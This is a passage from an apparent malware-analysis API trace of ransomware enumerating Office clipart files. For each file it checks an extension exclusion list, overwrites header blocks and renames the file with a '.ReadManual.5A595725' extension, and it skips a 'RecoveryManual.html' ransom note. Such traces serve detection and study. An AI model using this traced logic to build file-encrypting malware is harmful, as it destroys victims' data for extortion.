lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0262.879] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00543_.WMF" | out: lpString1="FD00543_.WMF") returned="FD00543_.WMF" [0262.879] lstrcmpiW (lpString1="FD00543_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.879] StrStrIW (lpFirst="FD00543_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.879] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.879] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.879] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" [0262.879] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.ReadManual.5A595725" [0262.879] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.ReadManual.5A595725") returned 87 [0262.879] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38354791790) returned 1 [0262.879] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0262.879] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.880] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1472) returned 1 [0262.880] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c0, lpName=0x0) returned 0x184 [0262.880] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.880] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.881] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.883] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.883] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c0) returned 0x2f0000 [0262.883] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.883] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38355187443) returned 1 [0262.883] CloseHandle (hObject=0x184) returned 1 [0262.883] SetSecurityInfo () returned 0x57 [0262.883] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.883] CloseHandle (hObject=0x194) returned 1 [0262.883] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0262.883] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00544_.WMF" | out: lpString1="FD00544_.WMF") returned="FD00544_.WMF" [0262.883] lstrcmpiW (lpString1="FD00544_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.884] StrStrIW (lpFirst="FD00544_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.884] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.884] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.884] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" [0262.884] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.ReadManual.5A595725" [0262.884] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.ReadManual.5A595725") returned 87 [0262.884] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38355284724) returned 1 [0262.884] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0262.885] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.885] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5260) returned 1 [0262.885] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x148c, lpName=0x0) returned 0x184 [0262.885] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.886] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.886] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.888] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.888] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x148c) returned 0x2f0000 [0262.888] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.888] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38355698859) returned 1 [0262.888] CloseHandle (hObject=0x184) returned 1 [0262.888] SetSecurityInfo () returned 0x57 [0262.888] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.888] CloseHandle (hObject=0x194) returned 1 [0262.889] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0262.889] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00564_.WMF" | out: lpString1="FD00564_.WMF") returned="FD00564_.WMF" [0262.889] lstrcmpiW (lpString1="FD00564_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.889] StrStrIW (lpFirst="FD00564_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.889] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.889] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.889] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" [0262.889] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.ReadManual.5A595725" [0262.889] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.ReadManual.5A595725") returned 87 [0262.889] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38355799099) returned 1 [0262.889] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0262.889] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.890] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=896) returned 1 [0262.890] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x184 [0262.890] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.891] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.891] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.893] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.893] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x2f0000 [0262.893] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.893] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38356163171) returned 1 [0262.893] CloseHandle (hObject=0x184) returned 1 [0262.893] SetSecurityInfo () returned 0x57 [0262.893] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.893] CloseHandle (hObject=0x194) returned 1 [0262.893] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0262.893] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00586_.WMF" | out: lpString1="FD00586_.WMF") returned="FD00586_.WMF" [0262.893] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.893] StrStrIW (lpFirst="FD00586_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.893] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.893] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.893] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.893] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.893] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.893] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.893] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.894] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.894] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.894] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.894] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.894] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.894] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.894] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.894] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" [0262.894] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.ReadManual.5A595725" [0262.894] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.ReadManual.5A595725") returned 87 [0262.894] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38356259669) returned 1 [0262.894] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0262.894] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.894] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=752) returned 1 [0262.894] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f0, lpName=0x0) returned 0x184 [0262.894] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.895] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.895] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.897] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.897] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f0) returned 0x2f0000 [0262.897] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.897] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38356602988) returned 1 [0262.897] CloseHandle (hObject=0x184) returned 1 [0262.897] SetSecurityInfo () returned 0x57 [0262.897] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.897] CloseHandle (hObject=0x194) returned 1 [0262.898] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0262.898] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00775_.WMF" | out: lpString1="FD00775_.WMF") returned="FD00775_.WMF" [0262.898] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.898] StrStrIW (lpFirst="FD00775_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.898] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.898] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.898] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" [0262.898] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.ReadManual.5A595725" [0262.898] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.ReadManual.5A595725") returned 87 [0262.898] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38356702996) returned 1 [0262.898] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0262.899] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.899] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11152) returned 1 [0262.899] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b90, lpName=0x0) returned 0x184 [0262.899] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.900] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.900] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.901] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.902] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b90) returned 0x2f0000 [0262.902] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.902] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38357315256) returned 1 [0262.904] CloseHandle (hObject=0x184) returned 1 [0262.904] SetSecurityInfo () returned 0x57 [0262.905] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.905] CloseHandle (hObject=0x194) returned 1 [0262.905] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0262.905] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00779_.WMF" | out: lpString1="FD00779_.WMF") returned="FD00779_.WMF" [0262.905] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.905] StrStrIW (lpFirst="FD00779_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.905] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.905] StrCmpIW (psz1="WMF", psz2="fon") returned 